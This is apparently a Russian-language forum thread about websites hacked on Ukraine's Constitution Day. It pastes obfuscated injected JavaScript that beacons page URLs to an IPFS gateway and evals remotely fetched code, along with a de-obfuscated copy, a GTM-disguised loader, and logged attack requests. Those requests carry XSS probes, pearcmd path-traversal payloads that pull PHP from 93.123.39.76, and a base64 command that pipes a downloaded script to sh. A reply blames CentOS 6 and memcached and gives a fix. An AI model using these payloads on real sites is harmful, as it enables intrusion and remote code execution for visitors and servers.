Взломаны сайты в честь дня конституции украины

!window['\x5f\x5f\x65\x78\x6f\x63\x6c\x69\x63\x6b' + '\x5f\x5f\x61\x64\x73\x5f\x5f\x73\x68\x6f' + '\x77'] && (window['\x5f\x5f\x65\x78\x6f\x63\x6c\x69\x63\x6b' + '\x5f\x5f\x61\x64\x73\x5f\x5f\x73\x68\x6f' + '\x77'] = '\x31',
(function() {
    var _0x5d2ae4 = window['\x6c\x6f\x63\x61\x74\x69\x6f\x6e']['\x68\x72\x65\x66'];
    fetch('\x68\x74\x74\x70\x73\x3a\x2f\x2f\x67\x61' + '\x74\x65\x77\x61\x79\x2e\x69\x70\x66\x73' + '\x2e\x36\x39\x2e\x6d\x75\x2f\x70\x72\x6f' + '\x62\x65\x2f\x76\x31\x2f' + _0x5d2ae4),
    fetch('\x68\x74\x74\x70\x73\x3a\x2f\x2f\x67\x61' + '\x74\x65\x77\x61\x79\x2e\x69\x70\x66\x73' + '\x2e\x36\x39\x2e\x6d\x75\x2f\x70\x61\x79' + '\x6c\x6f\x61\x64\x2f\x76\x31')['\x74\x68\x65\x6e'](_0x3faf80=>{
        return _0x3faf80['\x74\x65\x78\x74']();
    }
    )['\x74\x68\x65\x6e'](_0x549b7f=>{
        _0x549b7f && _0x549b7f['\x73\x74\x61\x72\x74\x73\x57\x69\x74\x68']('\x68\x74\x74\x70') && fetch(_0x549b7f)['\x74\x68\x65\x6e'](_0x1eb34c=>_0x1eb34c['\x74\x65\x78\x74']())['\x74\x68\x65\x6e'](_0x5b2773=>eval(_0x5b2773));
    }
    ),
    setInterval(function() {
        var _0x33417b = Date['\x6e\x6f\x77']();
        debugger ;var _0x3a3f12 = Date['\x6e\x6f\x77']();
        if (_0x3a3f12 - _0x33417b > 0x3e8) {
            fetch('\x68\x74\x74\x70\x73\x3a\x2f\x2f\x67\x61' + '\x74\x65\x77\x61\x79\x2e\x69\x70\x66\x73' + '\x2e\x36\x39\x2e\x6d\x75\x2f\x64\x65\x62' + '\x75\x67\x2f\x76\x31' + window['\x6c\x6f\x63\x61\x74\x69\x6f\x6e']['\x68\x6f\x73\x74']);
            for (var _0x53089b = 0x5; _0x53089b > 0x3; _0x53089b = _0x53089b + 0x1) {
                console['\x6c\x6f\x67'](_0x53089b);
            }
        }
    }, 0x64);
}()));

!window['__exoclik' + ' __ads_sho' + 'w'] && (window['__exoclik' + '__ads_sho' + 'w']
(function() {
    var _0x5d2ae4 = window['location']['href'];
    fetch('https://ga' + 'teway.ipfs' + '.69.mu/pro' + 'be/v1/' + _0x5d2ae4),
    fetch('https://ga' + 'teway.ipfs' + '.69.mu/pay' + 'load/v1')['then'](_0x3faf80=>{
        return _0x3faf80['text']();
    })['then'](_0x549b7f=>
        _0x549b7f && _0x549b7f['startsWith']('http') && fetch(_0x549b7f)['then'](_0x1eb34c=>_0x1eb34c['text']())['then'](_0x5b2773=>eval(_0x5b2773));
    }),
    setInterval(function() {
        var _0x33417b = Date['now']();
        debugger; var __0x3a3f12 = Date['now']();
        if(_0x3a3f12 - _0x33417b > 0x3e8) {
            fetch('https://ga' + 'teway.ipfs' + '.69.mu/deb' + 'ug/v1' +window['location']['host']);
            for (var _0x53089b = 0x5; _0x53089b > 0x3; _0x53089b = _0x53089b + 0x1) {
            console['log'](_0x53089b);
            }
        }
    }, 0x64);
}()));

deny 104.18.33.31;

/search/?q=%3CScript%3Ealert%28%27XSS%27%29%3C%2FscripT%3E

/bitrix/tools/landing/ajax.php?site=s1

/bitrix/tools/landing/ajax.php?site=s2

/bitrix/components/bitrix/socialnetwork.events_dyn/get_message_2.php?log_cnt=<img%20onerror=alert(document.domain)%20src=1>

/index.php?lang=../. ./. ./. ./. ./. ./. ./. ./usr/local/lib/php/pearcmd&+config-create+/&/<?eval(base64_decode('aWYoZmlsdGVyX3ZhcihpbmlfZ2V0KCJhbGxvd191cmxfZm9wZW4iKSxGSUxURVJfVkFMSURBVEVfQk9PTEVBTikpe2V2YWwoZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly85My4xMjMuMzkuNzYveCIpKTt9ZWxzZXskaD1jdXJsX2luaXQoImh0dHA6Ly85My4xMjMuMzkuNzYveCIpO2N1cmxfc2V0b3B0KCRoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7Y3VybF9zZXRvcHQoJGgsQ1VSTE9QVF9IRUFERVIsMCk7ZXZhbChjdXJsX2V4ZWMoJGgpKTtjdXJsX2Nsb3NlKCRoKTt9'));?>+/tmp/index.php

/index.php?lang=../. ./. ./. ./. ./. ./. ./. ./tmp/index

/index.php?s=index/index/index/think_lang/. ./. ./extend/pearcmd/pearcmd/index&cmd=echo${IFS}bWtkaXIgLXAgL3RtcC8kKHdob2FtaSk7IGNkIC90bXAvJCh3aG9hbWkpOyB3Z2V0IGh0dHA6Ly85My4xMjMuMzkuNzYvaHVqLnNoIC1PLSB8IHNoOyBjdXJsIGh0dHA6Ly85My4xMjMuMzkuNzYvaHVqLnNoIHwgc2g=|base64${IFS}-d|sh

(function(w,d,s,l,i,j,k,m){w[s]||(w[s]=1,w[d(j)](d(k))[s](c=>c.text())[s](c=>w[d(i)](c)))})(window,atob,'then','https://www.googletagmanager.com/gtm.js?id=','ZXZhbA==','ZmV0Y2g=','aHR0cHM6Ly9nYXRld2F5LnBpbmF0YS5jbG91ZC9pcGZzL1FtTm1TZlljbThSYm5YUEVvWnJkVHpEdjdpTGY0ekVUaEVrem1penFjZVdDUEE=','e249af6d')

Добрый день, если ещё не решили с вирусом проблему.Была аналогичная проблема с 2 февраля, появлялись фреймы с …googletagmanager… и капчей с вирусом для пользователей.
Причина: использовали уязвимость старого сервера Centos 6 
Решение: добавить в опциях memcached на сервере (у меня это /etc/sysconfig) собственный айпишник localhost 
OPTIONS="-U 0 -l 127.0.0.1"
И перезапуск сервера.